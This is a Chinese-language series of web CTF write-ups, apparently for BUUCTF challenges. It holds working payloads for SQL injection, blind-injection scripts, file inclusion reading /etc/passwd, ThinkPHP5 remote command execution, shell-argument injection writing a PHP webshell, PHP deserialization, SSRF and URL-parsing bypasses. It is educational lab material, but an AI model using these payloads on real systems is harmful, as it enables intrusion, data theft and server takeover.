分析代码:
1.首先可以看到它定义了一个类,类里面有个checkFile函数
2.然后有一个判断条件要求我们传入的file参数不为空,并且是字符串,然后可以通过checkFile的验证
3.如果满足的话就包含我们传入的参数
checkFile函数:
首先设置了一个白名单数组:
有两个元素source.php和hint.php
第一个if:
判断传入参数是否为空或者是否为字符串,如果是的话则返回 you cant see it
第二个if:
判断我们传入的参数是否在白名单内,如果在则return true
第三个if:
在这个if之前使用了strpos查找“?”第一次出现的位置,然后返回这个位置,然后使用了substr截取字符串,从0到strpos查找的位置的长度。将其存储到$_page中
然后判断$_page是否在白名单内,在的话就返回true,就是这个地方我们可以利用
payload:
hint.php?file://../../../../../etc/passwd可以读取到passwd文件
查看flag:
file=hint.php?file://../../../../../ffffllllaaaagggg
一打开这个网页就发现老sql注入了:
1.输入1’ 报错,根据回显信息判断注入点包裹在一对单引号中,同时考虑到这里能够报错,那么报错注入就是一种可能
2.输入1’ or 1–+ 返回多列说明存在注入点
3.尝试联合注入找字段输入1’ union select 1,2,3–+,发现返回了一个正则表达式:
可以看到过滤了很多,包括select,而且/i表示不区分大小写匹配
因此这里不能够使用双写或者大小写绕过,而且这里是对我们输入的字符串进行匹配,所以各种注释的方法也是不能绕过的,报错注入也只能查看数据库。
那么尝试一下编码绕过,或者字符拼接:
尝试了url编码发现无法绕过:%55nion(%53elect)
concat也不行:
绕个蛋,不绕了,累了
换一种思路,不让用select那就用堆叠注入试一试:
1’;show tables;
有两个表:
查看word表的内容:
1’;show columns from words;–+
感觉不在这个里面
查看另外一个表:
1’;show columns from `1919810931114514`;
有个flag字段,那么怎么取出数据?
尝试了这里的高级绕过方法,发现不行
看了一下网上的wp,发现可以使用预处理语句来解决这个问题:
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义的SQL语句
payload:
1';PREPARE test from concat('se','lect', ' * from `1919810931114514` ');EXECUTE test;--+
或者将’select * from `1919810931114514`进行16进制编码:
1';Set @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare test from @a;execute test;#
或者对select进行char编码,然后用concat连接
或者使用handler命令:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…) [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE
payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;--+
又是一道sql注入,测试发现这道题没有报错信息,没有回显
输入1" 倒是有回显但是作用不大,先上burp fuzz一下看看是什么形式的注入
可以看到是post型的注入:
可以看到过滤了and等等很多:
尝试使用异或注入:
fuck,还过滤了什么。。。。尝试了一下 吧from过滤了
这。。。用堆叠注入试试:
发现可以也,然后查看列名,要用到from,不行啊。。。
查看网上wp发现后台的语法可能是select.POST['参数'] || flag from flag
#这尼玛就离谱,这谁猜得到啊
因此可以输入*,1 来显示全部内容:
第二种方法:
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能
也就是使用了这个pipes_as_concat后就将||当成了concat来使用了
payload:
1;set sql_mode=pipes_as_concat;select 1
那么执行的语句就应该是:
select 1;set sql_mode=pipes_as_concat;select 1||flag from flag;
在hints中看到了这个东西:
再加上传入的参数有hash值:
我猜想可能是用上面的方式生成一个hash值然后传入参数,而上面那种生成hash值的方法存在缺陷(hash长度扩展攻击):
方向错了,长度攻击要求知道cookie_secret的长度
查看网上的wp,发现这是一个模板注入:
这是cookie_secret的所在位置
python的模板注入不是很熟悉,后面统一研究
看到这个注入我就想到了sqli-labs中的二次注入,首先尝试注册admin#,发现数据库没有将#给屏蔽掉admin#是一个新的账号,尝试注册admin
(很多空格),发现返回http500,也不行。
那就随便注册一个账号,然后登陆查看源代码发现:
应该是要我们以admin的身份登陆
随后又在changepass这里看到了这个:
在routes中发现:
python有lower函数啊,为什么要自己写?去看了一下这个函数的定义:
发现使用这个东西进行lower的,而它又是从这个库导入的:
这个我去github上看了一下源代码:添加链接描述
发现在这个地方有个断言测试:
它测试经过node。。。。这个函数转换后User是否等于user,而且使用u""(代表unicode)编码的,也就是说这个东西执行了一次后就将大写转化为了小写。然后我就真的不知道怎么做了。
查看了wp,发现可以在这个网站去找小字符这个不行
然后注册的时候用ᴬdmin注册,注册时候会执行一次strlower函数 ᴬ->A(这时候数据库中存放的是Admin)
妈的,那个种字符不行的会报服务器内部错误的这里才是可以用的字符,妈的,找了好久
然后登陆:ᴬdmin->Admin
不要妄想直接Admin登陆,因为会被转成admin
最后修改密码执行一次lowerA->a(admin),我们就成功修改了admin的密码:
得到flag:
这个题还有两种解法:添加链接描述
其实这个admin是个弱口令{123};
查看源码:
感觉应该是命令执行或者sql注入,尝试访问calc.php,发现了一段代码:
可以看到过滤了很多符号,尝试num=phpinfo()发现事情并不简单
思路断了,去看了网上wp。。。。
http走私的详细解释
我这里采用CL-TE模式:
需要用到的函数
scandir() 函数 返回指定目录中的文件和目录的数组。
base_convert() 函数 在任意进制之间转换数字,返回一个字符串
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
CL-TE导致了反向代理服务器404,但是它将我们发的数据转发给了后源服务器,而后源服务器读取我们的请求并将其解析了。
payload:
num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
php字符串解析漏洞:原理及应用
payload:
GET /calc.php?+num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) HTTP/1.1
可以看到是被一对单引号包裹起来的:
尝试万能密码登陆:
果然是easysql
这道题考察了上传文件的漏洞,经过我的测试发现,使用了exif_imagetype()来判断是不是图片,因此我们可以采用生成图片马的方式来绕过,然后上传了用什么办法解析呢?我猜测是文件包含漏洞,发现可以上传.user.ini文件:
然后上传我们的一句话木马:
发现过滤了。。。
那么换一种方式:
payload:
php://filter/read=convert.base64-encode/resource=flag.php
脚本:
import re
import requests
url = "http://fddb150d-8889-41c6-a58f-0c69837c54d1.node3.buuoj.cn/index.php"
str = ""
for i in range(1,100):
max = 128
min = 33
mid = (max+min)>>1
while min < max:
data="1^if(ascii(substr((select(flag)from(flag)),{0},1))>{1},1,0)".format(i,mid)
s = requests.post(url,data={"id":data})
if "Error" in s.text:
min = mid+1
else:
max = mid
mid = (min+max)>>1
str += chr(mid)
print(str)
if "}" in str:
break
备份文件,爷写的脑残脚本:
import requests
import re
url = "http://bed8b6da-2447-484d-8bc5-cc6c97d69f14.node3.buuoj.cn/"
list1=['tar','tar.gz','zip','rar']
list2=['web','website','backup','back','www','wwwroot','temp']
for i in list2:
for j in list1:
res = requests.get(url+i+'.'+j)
test = re.findall(r'Not Found',res.text)
if len(test)==0:
print(url+i+'.'+j)
结果这个不是flag:
查看源代码发现是一个反序列化漏洞:
class.php
index.php
分析:
1.由index.php可以看到,要求我们用get方法传入一个值(select),然后对这个值进行反序列化的处理
2.由class.php可以看到,定义了一个name类,变量username和passwod都是私有变量,有一个构造函数,一个析构函数和一个wakeup函数
3.构造函数是将传入的username,password赋值给私有变量username和password
4.wakeup是将username复制为guest
5.析构函数则是判断password是否等于100,username是否为admin
解题方法:
wakeup函数是在反序列化的时候会自动调用的,也就是说我们传入了序列化的字符串之后,username会被赋值成guest(因此需要绕过这里)(绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。)
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
1.O代表object 也就是对象
2.s代表string 也就是字符串
3.i代表整数
4.在php中(类的变量成员叫做“属性”,或者叫“字段”、“特征”,在本文档统一称为“属性”。)
5.Name后面的数字2代表有两个成员变量,也就是username和passwod,而我们通过将其改为3就可以绕过wakeup函数
select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
修改值后我们使用python提交看看:
发现他返回了这个东西,也就是说我们没有修改到username和password,原因是:
username与password都是private的,而php对私有成员变量进行序列化的时候会在类名以及成员名前面加上/0,而/0是不可见字符,我们直接复制的话就会丢失这个数据:
可以看到这里的长度为14,但只有12个字符,这是因为两个/0没有显示出来,因此我们后期传入参数的时候就要加上这两个字符
select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
这里是反序列化漏洞的详解
注册一个账号,然后发现有数字型的sql注入:
http://96ede642-02a9-46c6-aa4f-a05092fc9738.node3.buuoj.cn/view.php?no=1%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'),%27~%27),1)
看看password:
http://96ede642-02a9-46c6-aa4f-a05092fc9738.node3.buuoj.cn/view.php?no=1%20and%20updatexml(1,concat(%27~%27,mid((select%20passwd%20from%20users),1),%27~%27),1)
看看data:
发现了个序列化的对象
这不就是我创建的账号吗
O:8:"UserInfo":3:{s:4:"name";s:6:"admin#";s:3:"age";i:123;s:4:"blog";s:12:"www.test.com";}
O:8:"UserInfo":3:{s:4:"name";s:6:"admin#";s:3:"age";i:123;s:4:"blog";s:12:"www.test.com";}
估计跟反序列化有关,没有思路,看网友的wp说robots.txt源代码泄露了。。
然后我用dirbuster扫了一下
果然有,访问看看:
有备份文件,下载看看:
看到这个地方我就觉得是ssrf:
并且这个ssrf并没有限定协议的格式,也就是说我们可以用file://来读取文件
,而结合之前的报错:
猜测flag.php的路径为:/var/www/html/flag.php
payload:
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";} //这个地方不能用我们之前创建的账户,要自己伪造一个
发现有报错,尝试报错注入:
查看lovelysql:
pyload:
http://f2364bc4-de72-43ab-9fb3-f08a44df610e.node3.buuoj.cn/check.php?username=admin' and updatexml(1,concat(0x7e,(select group_concat(id,0x23,username,0x23,password) from l0ve1ysq1),0x7e),1)%23&password=41b90423070a331a2af2ef00bec92c84
尼玛buuctf的主机崩了。。。。
因为报错注入的回显太短了,因此使用联合注入获取flag:
http://4c49c420-026e-4b0c-a770-e57f8e8323b5.node3.buuoj.cn/check.php?username=%27%20union%20select%201,(select%20group_concat(password)%20from%20l0ve1ysq1),3%23&password=41b90423070a331a2af2ef00bec92c84
查看源代码:
访问:
添加referer:
修改UA:
修改x-forwarded-for:
得到了flag
这是一道rec:
经过测试发现过滤了空格,flag等等:
使用:< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等,绕过空格打印出index.php中的内容
发现确实过滤了很多东西:
1.空格可以用$IFS$9来代替
2.flag.php可以使用base64加密再打印出来
3.可以使用xargs命令来执行我们打印出来的内容
4.使用|(管道符号进行命令输出的传递)
payload:
ip=127.0.0.1;echo$IFS$9ZmxhZy5waHA=$IFS$9|$IFS$9base64$IFS$9-d|xargs$IFS$9cat|base64;
这个题也是python模板注入,后面研究
极客大挑战的题还是比较简单的,这个题采用了str.replace的方式将我们传入参数中的一些关键字过滤了,因此我们可以使用双写来绕过:
username=%27%20ununionion%20selselectect%201,database(),3%23&password=admin
过滤了的字符有:
1.select
2.or
3.from
4.union
剩下的找flag我就不写了
文件包含漏洞:
payload:
php://filter/read=convert.base64-encode/resource=flag.php
查看源代码:
访问,查看源代码:
要我们post一个password,一个money,然后password要等于404并且password不为数字,而这里采用的是==的方式而不是===,因此可以绕过,然后看到:
也就是说我们要传入一个money=100000000,然后要是cuit的学生,使用burp抓包有:
将user=0改成1,并传入password和money看看:
发现说我们的数字太长了。。。推测应该是用strcmp来对比的,使用数组绕过该判断:
得到flag
打开网页:
分析:
1.让我们用get传入三个参数text,file,password
2.要求用file_get_contents()方式读取text的内容,并判断该内容是否等于“welcome to the zjctf”
3.对file的参数进行正则匹配,如果其中有flag的字符串则输出 not now,并退出
4.否则对file的参数进行文件包含,然后对passwod进行反序列化操作并打印
解题步骤:
1.对于text要用file_get_contents()读取,我们可以使用php://input来传入数据
2.对于正则表达式我们先看看useless.php的内容,然后尝试一下Flag.php看是否能够读取到(因为他这里没有对大小写进行过滤)
payload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&password=1
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
然后我们传入flag.php进行序列化:
完整的payload:
?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这个题是一个简单的没有过滤的rec:
payload:
127.0.0.1;cd ../../../../../;ls;cat flag;
整理代码有:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp #输出结果
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')#根目录路由,就是显示源代码得地方
def index():
return open("code.txt","r").read()
def scan(param):#这是用来扫目录得函数
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
打开网页,登陆无果,点击help:
感觉是文件包含:
但是该成任何的其他文件名都没有反应,查看网上的wp发现要修改请求方式:
修改请求方式为post,发现有返回了,是一堆乱码:
修改为flag发现报错了:
这是一个tomcat服务器:
根据这个爆出的路径我们可以猜测有WEB-INF/web.xml这个配置文件:
修改filename为WEB-INF/web.xml:
发现有一个flag controller:
熟悉tomcat的话可以知道在WEB-INF下有个classes文件夹用于存放一些xml文件、prepertise文件,以及class文件等等
类似于这种:
然后由上面的web.xml文件我们可以看到有servlet-class,而flag controller:放在了com.wm.ctf下面
于构造出FlagController的路径:
WEB-INF/classes/com/wm/ctf/FlagController.class
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
转载于:https://blog.csdn.net/ChenZIDu/article/details/103533554
打开网页:
]
可以看到要我们上传一个图片文件,我们上传一个php文件看看:
发现被检测出来了,尝试一下使用php3,php5,phpt,phtml,发现phtml可以绕过:
检测出来我们的文件包含了,使用< script>来绕过:
GIF89a
check
0){
echo "ERROR!!!";
}
elseif (in_array($extension, $allowedExts)) {
echo "NOT!".$extension."!";
}
elseif (mb_strpos(file_get_contents($file["tmp_name"]), "") !== FALSE) {
echo "NO! HACKER! your file included '<?'";
}
elseif (!$image_type) {
echo "Don't lie to me, it's not image at all!!!";
}
else{
$fileName='./upload/'.$file['name'];
move_uploaded_file($file['tmp_name'],$fileName);
echo "上传文件名: " . $file["name"] . "
";
}
}
else
{
echo "Not image!";
}
?>
Syclover @ cl4y
感觉这个题可以上传.htaccess文件和.user.ini文件,但是经过我的尝试发现并不能解析,可能是加了GIF89a的原因吗?还是说没有开放对这两个文件的支持.
然后我在apche.conf中发现禁止了我们访问:
而在这里在 AllowOverride 设置为 None 时, .htaccess 文件将被完全忽略。
因此我们上传的.user.ini和.htaccess文件都是无效的
告诉我们是thinkphp5写的,去网上查找到了thinkphp5的漏洞5.x漏洞及利用
然后使用报错查看到了thinkphp的版本:
发现是存在远程命令执行的漏洞的:添加链接描述
然后我们构造payload:
http://fdfa9da0-c1ef-4fb3-9607-a1e3394ad416.node3.buuoj.cn/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cd ../../../../../;ls;cat flag;
尝试一下写入一句话木马。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > test.php
打开网页:
分析:
1.第一个if判断是否有 x-forwarded-for头,如果有的话就将其赋值给REMOTE_ADDR
2.第二个if判断是否传入了host的参数,如果没有就高亮显示源代码
3.否则用escapeshellarg对host进行转义
4.再用escapeshellcmd对host进行转义
问题就出在这两个转义这里:
1.可以看到arg对于未成对的单引号会进行转义,然后再用一堆单引号将转义后的单引号包裹起来,然后再在转义的字符串上加上一对单引号
2.cmd则在1的基础上再对特殊字符进行转义
而在这个函数会数单引号是否成对,成对则不转义,因此只转义了最后一个单引号,同时将\转义了.
尝试写入一句话:
1.如果我们没有用单引号包裹我们的paylaod:
可以看到最终要执行的语句那里将我们的payload给用单引号括起来了
2.使用单引号包裹我们的语句:
可以看到我们的语句逃逸出来了但是这个时候还不能直接运行,因为我们的文件名实际上是test.php\\,而我们要的是test.php
3.因此我们要在后面的单引号前加上空格:
?host=' -oG 2.php '
蚁剑成功连接,可以看到确实如果没有加上空格,文件名是php//
找到flag:
打开网页:
让我们提交密码,看样子应该是万能密码登陆,但是看这个名字又叫easy MD5,始终找不到跟MD5有啥关系。。。看了网上的wp才知道。。。。
用burp抓包:
这个md5($pass,true)的raw参数为true,那么MD5函数就会返回十六进制的编码
而我们知道mysql是支持解析16进制的,因此我们可以通过这个来构造万能密码:
比如这个"ffifdyop":经过md5后变成了:276f722736c95d99e921722cf9ed621c
而这个经过十六进制的还原变成了:
'or’6É]™é!r,ùíb
可以看到它是包含了or 6的也就可以当作万能密码来使用
提交之后出现了:
查看源代码:
a[]=1&b[]=2
使用数组绕过,跳转到了这里:
还是使用数组绕过:
param1[]=1¶m2[]=2
打开网页,burp抓包发现,输入不同的语句会有不同的返回值:
输入错误的账户名:
输入错误的密码:
尝试爆破,发现跑不出来。。。。。用dirseach扫描目录,发现有备份文件:
这道题就是js前端过滤加上黑名单过滤:
绕过方法:
上传一句话木马图片,burp抓包,修改文件后缀为.phtml即可上传成功。
查看源代码可以看到:
有三个if函数,判断条件都是host为suctf.cc,并且前两个if表示如果出现了suctf.cc就要退出,因此我们要绕过前两个if。
看了网上的wp:
发现可以利用CVE-2019-9636这个漏洞:
urlparse.urlparse(urlstring[, scheme[,allow_fragments]])
将urlstring解析成6个部分,它从urlstring中取得URL,并返回元组 (scheme, netloc, path, parameters, query, fragment),但是实际上是基于namedtuple,是tuple的子类。它支持通过名字属性或者索引访问的部分URL,每个组件是一串字符,也有可能是空的。组件不能被解析为更小的部分,%后面的也不会被解析,分割符号并不是解析结果的一部分,除非用斜线转义,注意,返回的这个元组非常有用,例如可以用来确定网络协议(HTTP、FTP等等 )、服务器地址、文件路径,等等。
>>> import urlparse
>>> parsed_tuple = urlparse.urlparse("http://www.google.com/search?hl=en&q=urlparse&btnG=Google+Search")
>>> print parsed_tuple
ParseResult(scheme='http', netloc='www.google.com', path='/search', params='', query='hl=en&q=urlparse&btnG=Google+Search', fragment='')
可以看到这个函数会将一个完整的url分成6段:
将urlstring解析成6个部分,它从urlstring中取得URL,并返回元组 (scheme, netloc, path, parameters, query, fragment),但是实际上是基于namedtuple,是tuple的子类。
它支持通过名字属性或者索引访问的部分URL,每个组件是一串字符,**也有可能是空的**。
组件不能被解析为更小的部分,%后面的也不会被解析,**分割符号**并不是解析结果的一部分,除非用斜线转义。
注意,返回的这个元组非常有用,例如可以用来确定网络协议(HTTP、FTP等等 )、服务器地址、文件路径,等等。
urlsplit函数则会:
返回一个包含5个字符串项目的元组:协议、位置、路径、查询、片段。
它不切分URL的参数,所有返回的只有5个长度
urlunsplit函数则会:
urlunsplit使用urlsplit()返回的值组合成一个url
可以看到它基本的逻辑就是这样:
尝试输入file://suctf.cc/…/…/…/…/…/etc/passwd:
可以看到前两个if都分离出了suctf.cc
那么我们尝试输入file:suctf.cc/…/…/…/…/…/etc/passwd:
可以看到绕过了前两个函数,但是第三个函数没有进入,这是因为urlunsplit处理的时候会给我们的url自动加上///
而这时候再使用parse.urlparse(url)就会出现这样的结果:
scheme:file
hostname:空的
path:/suctf.cc/…/…/…/…/etc/passwd
没有hostname我们就无法进入第三个if
尝试输入file:////suctf.cc/…/…/…/…/etc/passwd:
可以看到完美绕过了,同时又进入了第三个if
这个还可以用unicode来绕过:
这里是blackhat关于这个的议题
大佬写的脚本,用于找到可以绕过的unicode:
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=='__main__':
get_unicode()
字符,用于代替c:
str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43
测试代码:
from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse,request
def getUrl():
url = "file://suctf.cℭ/../../../../../etc/passwd"
host = parse.urlparse(url).hostname
test = parse.urlparse(url)
print("urlparse处理后:")
count = 0
for i in test:
print(i)
count+=1
print(count)
parts = list(urlsplit(url))
print("将其放入列表后:")
host = parts[1]
count=0
for i in parts:
print(i)
count+=1
print(count)
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
print("经过urlunsplit处理后:")
print(urlunsplit(parts))
test = urlunsplit(parts).split(' ')
count = 0
for i in test:
print(i)
count+=1
print(count)
finalUrl=test[0]
host = parse.urlparse(finalUrl).hostname
print("主机名字:",host)
if host == 'suctf.cc':
return "lalala"
else:
return "我扌 your problem? 333"
if __name__ == "__main__":
getUrl()
打开网页,查看源代码发现就一句话:
burp抓包:
还是没有发现什么,使用dirseach扫一下:
感觉是git泄露:
用githack下载了一个index.php:
查看:
分析
1.要我们get传一个exp参数
2.传入的参数中不能包含{data,php,filter,phar}这几个协议
3.如果我们传入的参数是a(b(c()));这种套娃代码就可以绕过
4.如果我们传入的参数中没有et/na/info。。。。这些字符,就执行我们的代码
到这里就没有思路了。。。看了wp:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
可以看到localeconv()这个函数的第一个就是点
那么我们查看目录的代码就是:
print_r(scandir(pos(localeconv())));
可以看到flag在第三个:
show_source(next(array_reverse(scandir(pos(localeconv())))));
burp抓包:
发现username包裹在一对单引号中,然后返回的数据中有一串只有大写字母和数字加密的东西,在网上查到这是base32编码,由于有报错可以尝试报错注入:
发现有waf:
然后fuzz一下,发现过滤的东西比较少但是把(),or过滤了:
经过测试使用union select 查information.schema不行
将之前的那段加密文件解密看看:
select * from user where username = ‘$name’
还是没什么思路,看了网上的wp:
这道题考察的是union select的分开检查的机制:
union select会创建一个虚拟表,如果我们在这道题中使用:
name=' union select 1,'admin','202cb962ac59075b964b07152d234b70'%23
然后我们后面输入的密码经过MD5加密后再去跟password中的值进行对比,从github上的源代码可以看到这一点:
payload:
name=' union select 1,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123
这个语句会生成一个username为admin,password为202cb962ac59075b964b07152d234b70的虚表,然后我们后面的pw再经过md5加密与password做对比
打开网页:
查看源代码:
base64解密:
没发现什么,但是在源代码最后看到了个:
再看看url中的参数:
img那里发现是个base64编码的,解码看看:
尝试把index.php进行这样的编码看看:
发现返回了一段base64编码的东西:
解码:
';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "";
echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
分析:
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
1.可以看到这里要我们传入a,b,cmd三个参数,a,b都是以post的方式传入
2.对于我们传入的cmd参数进行了正则表达匹配,几乎所有的命令都不能用了,但是没有过滤dir和sort
3.对a和b进行了MD5的强类型比较,同时a和b都要是字符串,因此弱类型碰撞以及数组绕过都不行了
4.如果绕过了,则会执行把cmd当作命令来执行,再打印出内容,因为在linux中``的内容为命令
解题步骤:
1.对于cmd我们可以传入 sort%20/flag来获取flag
2.对于a,b我们可以使用MD5真实碰撞来绕过
不知道为什么我在上网是找了好多个payload就是绕不过去。。。。
a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%91r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%1E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%8A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5DHd%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%0C%1B%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AE%D0%A6%09Q%2B&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%11r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%9E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%0A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5D%C8d%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%8C%1A%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AEP%A6%09Q%2B
查看源代码:
这道题考察的是unicode的安全性问题:
我们尝试正常买第一个商品
告诉我们商品不对。。。
但是这个价格明显是大于标价的,那么我们用3.0试一下
告诉我们只允许输入一个字符,而这些商品按照正常的输入价格,只有前三个能够用一个字符来购买:
那么题目肯定是想我们买第四个商品了,再看这题的名字Unicorn,这不是在暗示我们Unicode嘛:
这里找到一个大于1337的字符
输入4,፼,得到了flag
burp抓包,有报错回显,判断是单引号包裹:
尝试万能密码。。。。
发现过滤了很多:
